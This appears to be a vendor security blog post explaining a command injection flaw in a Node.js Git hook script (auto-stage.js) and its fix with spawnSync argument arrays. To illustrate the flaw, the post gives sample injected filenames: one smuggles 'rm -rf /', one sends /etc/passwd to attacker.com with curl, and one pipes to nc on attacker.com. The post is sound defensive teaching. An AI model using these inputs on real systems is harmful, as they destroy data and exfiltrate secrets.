Introduction
In a Git hooks automation script, we discovered a high-severity command injection vulnerability in hooks/scripts/auto-stage.js at line 55. The stageFile() function was using Node.js's execSync() with string interpolation to execute git commands, creating a dangerous code path where malicious file paths could break out of the intended command and execute arbitrary shell commands. This vulnerability demonstrates why string-based command construction is fundamentally unsafe, even in seemingly controlled environments like Git repository management.
The vulnerable code accepted a filePath parameter from a function argument and directly interpolated it into a shell command: execSync(\git add "${filePath}"`)`. While the double quotes provide minimal protection, they're insufficient against shell metacharacters and escape sequences that can break command boundaries.
The Vulnerability Explained
Let's examine the vulnerable code from auto-stage.js line 52-58:
function stageFile(filePath) {
try {
const dir = path.dirname(filePath);
execSync(`git add "${filePath}"`, { cwd: dir, stdio: 'pipe' });
return { success: true };
} catch (e) {
return { success: false, error: e.message };
The critical issue is on line 55: execSync(\git add "${filePath}"`). TheexecSync()function spawns a shell (/bin/shon Unix,cmd.exeon Windows) and passes the entire string for interpretation. Despite the double quotes around${filePath}`, an attacker can exploit shell metacharacters to inject commands.
How could this be exploited?
Consider if filePath came from an untrusted source (like a webhook payload, user input, or a compromised upstream system). An attacker could craft a malicious filename like:
"; rm -rf / #
This would result in the following command being executed:
git add ""; rm -rf / #"
The shell interprets this as:
1. git add "" - adds nothing (empty string)
2. ; - command separator
3. rm -rf / - delete everything (catastrophic)
4. # - comment out the trailing quote
Even with the cwd option limiting the working directory, the injected command runs with full privileges of the Node.js process. Other attack vectors include:
- Command chaining:
file.txt && curl attacker.com/exfiltrate?data=$(cat /etc/passwd) - Command substitution:
file.txt$(whoami).txt - Pipe injection:
file.txt | nc attacker.com 4444
In the context of auto-stage.js, this script appears to be part of a Git hooks system that automatically stages files. If the file paths being processed come from external sources (like CI/CD systems, automated tools, or user-triggered workflows), the command injection risk becomes very real.
The Fix
The fix replaces the shell-invoking execSync() with spawnSync() using an argument array. Here's the before and after:
Before (Vulnerable):
const { execSync } = require('child_process');
function stageFile(filePath) {
try {
const dir = path.dirname(filePath);
execSync(`git add "${filePath}"`, { cwd: dir, stdio: 'pipe' });
return { success: true };
} catch (e) {
return { success: false, error: e.message };
After (Secure):
const { execSync, spawnSync } = require('child_process');
function stageFile(filePath) {
try {
const dir = path.dirname(filePath);
const result = spawnSync('git', ['add', filePath], { cwd: dir, stdio: 'pipe' });
if (result.status !== 0) throw new Error(result.stderr.toString());
return { success: true };
} catch (e) {
return { success: false, error: e.message };
Key differences:
- No shell invocation:
spawnSync()directly executes thegitbinary without spawning a shell interpreter - Argument array:
['add', filePath]passes arguments as separate array elements, not as a concatenated string - Literal interpretation: The
filePathis treated as a literal argument value, never parsed for shell metacharacters - Explicit error handling: The fix checks
result.statusand throws stderr content, maintaining equivalent error behavior
This change eliminates the vulnerability entirely. Even if filePath contains malicious content like "; rm -rf /", it's passed as a literal filename to git add. Git will simply report "file not found" rather than executing the injected command.
The security improvement is absolute: there's no shell to interpret metacharacters, so there's no injection surface. The fix converts a high-severity vulnerability into a non-exploitable code path while preserving the original functionality for legitimate file paths.
Prevention & Best Practices
To prevent command injection vulnerabilities in Node.js applications:
1. Always prefer spawn/spawnSync with argument arrays
// ❌ DANGEROUS - Shell interprets the entire string
execSync(`command ${userInput}`);
exec(`command ${userInput}`, callback);
// ✅ SAFE - No shell, arguments passed directly
spawnSync('command', [userInput]);
spawn('command', [userInput]);
2. If you must use execSync, never interpolate untrusted data
Even with the shell: false option, string construction is risky. If you absolutely need execSync for shell features (pipes, redirects), validate and sanitize inputs rigorously:
// Whitelist validation
if (!/^[a-zA-Z0-9_\-./]+$/.test(filePath)) {
throw new Error('Invalid file path');
}
However, validation is error-prone. The safer approach is redesigning your code to avoid shell features entirely.
3. Use static analysis tools
Configure Semgrep, ESLint security plugins, or other SAST tools to detect dangerous patterns:
# Semgrep rule example
rules:
- id: detect-child-process-injection
pattern: execSync($ARG, ...)
message: Avoid execSync with user input
4. Apply defense in depth
- Principle of least privilege: Run Node.js processes with minimal permissions
- Input validation: Even with safe APIs, validate file paths against expected patterns
- Sandboxing: Use containers or VMs to limit blast radius
- Audit logging: Log all command executions for security monitoring
5. Follow OWASP guidelines
The OWASP Command Injection Prevention Cheat Sheet recommends:
- Avoid calling OS commands directly when possible
- Use language-specific APIs instead of shell commands
- If commands are necessary, use parameterized APIs with argument arrays
- Implement strict input validation as a secondary defense
Key Takeaways
- The
stageFile()function in auto-stage.js usedexecSync()with template literal interpolation, creating a command injection vulnerability at line 55 where malicious file paths could execute arbitrary commands - Switching from
execSync(\git add "${filePath}"`)tospawnSync('git', ['add', filePath])` eliminates shell interpretation entirely, making injection impossible regardless of filePath content - String interpolation with child_process functions is fundamentally unsafe because shell metacharacters (
;,|,&&,$(), etc.) can break command boundaries even with quotes - Argument arrays with spawn/spawnSync provide absolute protection by treating all parameters as literal values, never parsing them for shell syntax
- Static analysis tools like Semgrep can automatically detect these patterns before they reach production, as demonstrated by the detection of this vulnerability in automated scanning
How Orbis AppSec Detected This
- Source: The
filePathparameter passed to thestageFile()function inhooks/scripts/auto-stage.js - Sink:
execSync(\git add "${filePath}"`)` at line 55, which spawns a shell and interprets the interpolated string - Missing control: No validation or sanitization of the filePath parameter, and use of shell-invoking execSync instead of argument-array-based spawnSync
- CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command / OS Command Injection)
- Fix: Replaced execSync with spawnSync and changed from string interpolation to argument array format, eliminating shell interpretation
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This command injection vulnerability in auto-stage.js demonstrates why string-based command construction is dangerous in Node.js applications. The fix—switching from execSync() with string interpolation to spawnSync() with argument arrays—provides complete protection by eliminating shell interpretation entirely. By adopting argument-array-based APIs, validating inputs, and using static analysis tools, developers can prevent command injection vulnerabilities before they reach production. Remember: when working with child processes in Node.js, always prefer spawn/spawnSync with argument arrays over exec/execSync with string concatenation.